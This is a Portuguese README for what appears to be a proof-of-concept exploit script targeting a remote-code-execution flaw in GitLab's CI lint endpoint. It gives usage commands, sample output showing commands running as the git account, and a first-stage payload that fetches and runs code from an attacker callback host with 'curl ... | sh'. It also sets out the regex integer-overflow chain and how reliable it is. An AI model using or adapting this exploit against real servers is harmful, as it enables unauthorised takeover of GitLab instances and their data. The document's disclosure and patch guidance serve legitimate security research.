
PoC de RCE por estouro de inteiro no lint do GitLab CI para CVE-2026-97229, validado com a imagem oficial 19.4.1 CE amd64
poc.py explora a CVE-2026-97229 através do endpoint público de CI lint do GitLab. Um atacante com permissão para fazer push em um projeto público fornece uma expressão regular de CI e um caminho com nome especialmente criado. Após essa configuração, uma requisição sem credenciais executa o comando selecionado como a conta git do GitLab.
Esta é uma versão inicial do PoC. A análise da vulnerabilidade, das configurações afetadas e de caminhos adicionais alcançáveis está em andamento. A análise técnica da Rapid7 está vinculada abaixo.
O GitLab classifica o problema como CVSS 10.0. Ele afeta o GitLab Community Edition e o Enterprise Edition a partir de 19.2 antes de 19.2.8, 19.3 antes de 19.3.5 e 19.4 antes de 19.4.2.
O layout nativo incluído foi testado apenas contra a imagem oficial Linux amd64 gitlab/gitlab-ce:19.4.1-ce.0:
gitlab/gitlab-ce@sha256:9b33b45b9f42d176bada85ee5ecb81ddab7e506c435f44cd582206e284b2809c
GET /api/v4/projects/:id/ci/lint para a etapa de entrega.19.4.1 fornecido. Outras builds afetadas precisam de pcode e offsets de libruby ajustados.--cmd e saída retornada.A cadeia exige acesso de escrita ao projeto. Sua requisição de entrega posterior não tem token, cookie ou cabeçalho de autorização; a URL de clone autenticada envia o branch de payload do atacante.
Use Python 3.9 ou mais recente e um cliente Git. O script não tem dependências Python de terceiros.
$ python3 poc.py https://g.example 123 \
--git-url 'https://oauth2:[email protected]/attacker/public-poc.git' \
--callback-url cb.ex:8000 \
--cmd 'uname -a && id'
[*] deployed attacker ref 69fe2478c446ab17afe4c150; executing: uname -a && id
[*] delivery GET https://g.example/api/v4/projects/123/ci/lint?content_ref=69fe2478c446ab17afe4c150
[*] target stopped responding after delivery: HTTP Error 502: Bad Gateway
[uname output omitted]
uid=998(git) gid=998(git) groups=998(git)
O listener padrão escuta em 0.0.0.0:8000. Use --listen-host ou --listen-port quando o endereço de bind local for diferente do endereço fornecido em --callback-url.
O valor de callback deve caber no comando de primeiro estágio de 28 bytes. Com curl -s CALLBACK|sh, CALLBACK pode ter no máximo 17 bytes UTF-8. Um nome DNS curto, um redirector ou um endpoint de túnel costuma ser a opção mais simples.
Use --insecure quando o endpoint do GitLab tiver um certificado TLS autoassinado. Esta flag afeta a requisição de lint; ela não altera o tratamento de TLS do callback.
O GET normalmente termina com HTTP 502 após o callback. O payload é executado dentro de um worker do Puma, e esse worker trava após o retorno de system(). O Puma o substitui automaticamente. Trate a saída de comando retornada como sucesso, não o status HTTP.
No alvo exato, a cadeia produziu saída de comando em 10 de 10 tentativas com worker limpo e ASLR habilitado. Cada requisição levou cerca de 12 segundos. A mesma expressão regular e o mesmo caminho retornaram falso sem um callback no compilador Ruby oficial 19.4.2.
Executar isso contra um alvo com menos memória pode causar swapping, falha de alocação ou um kill por out-of-memory em vez de execução de código. Várias requisições concorrentes podem afetar toda a instância do GitLab.
.gitlab-ci.yml a partir do content_ref escolhido pelo atacante sem credenciais, após a configuração autenticada do repositório.include.rules.exists.regexp compila uma expressão e a testa contra caminhos do repositório controlados pelo atacante.{5(?#)7805} se torna {57805} no Onigmo, mas escapa do scanner de repetição do GitLab.37.151 × 57.805 ultrapassa INT_MAX, e um deslocamento de branch gerado sofre wrap para bytes de bitmap de classe de caracteres.system() na libruby.--cmd e então envia stdout e stderr de volta ao listener.Leia a análise técnica da CVE-2026-97229 da Rapid7.
Atualize para o GitLab 19.2.8, 19.3.5, 19.4.2 ou uma versão suportada posterior. Consulte a versão crítica de patch do GitLab para orientações de implantação.